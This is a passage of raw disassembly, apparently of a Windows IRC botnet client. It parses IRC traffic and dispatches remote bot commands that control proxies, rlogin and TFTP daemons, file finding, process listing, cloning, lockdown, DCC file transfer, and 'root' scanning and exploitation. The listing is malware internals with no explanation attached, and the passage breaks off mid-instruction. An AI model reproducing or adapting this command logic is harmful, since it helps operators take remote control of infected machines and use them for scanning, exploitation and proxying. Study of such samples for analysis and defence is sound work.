"433" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F116 push ebx push dword_4CD760 push dword_42F5CC push [ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_432E08 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] loc_40F367: ; DATA XREF: Themida_:00546AC9o shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_432DAC loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432D7C push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_432D70 mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_432D2C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h call near ptr 2630F90h nop jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_432D20 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_4CD770 mov eax, off_42F6CC[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_432D04 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_4CD67C loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_432CE0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_432CC8 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j call near ptr 2670ADCh nop push eax push offset dword_432C80 jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_432C30 loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432BF8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 2630F90h jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j nop call near ptr 2670ADCh push eax push offset dword_432BB4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_432B74 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_432B34 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_42F798, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_43FA70 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42F798 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_432E88 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_43FA88[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_43FA70[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_0 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_432AF0 ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_432A38 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_432A14 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_432A04 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_4329F8 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_4329F0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_4329E4 push offset dword_4329D8 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4329B4 push offset dword_4329A4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_432998 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_43298C push offset dword_432980 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_432970 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_432964 push offset dword_432958 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_432948 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_43293C push offset dword_432930 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_432920 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_432914 push offset dword_432908 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_4328EC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_43288C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_432864 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push 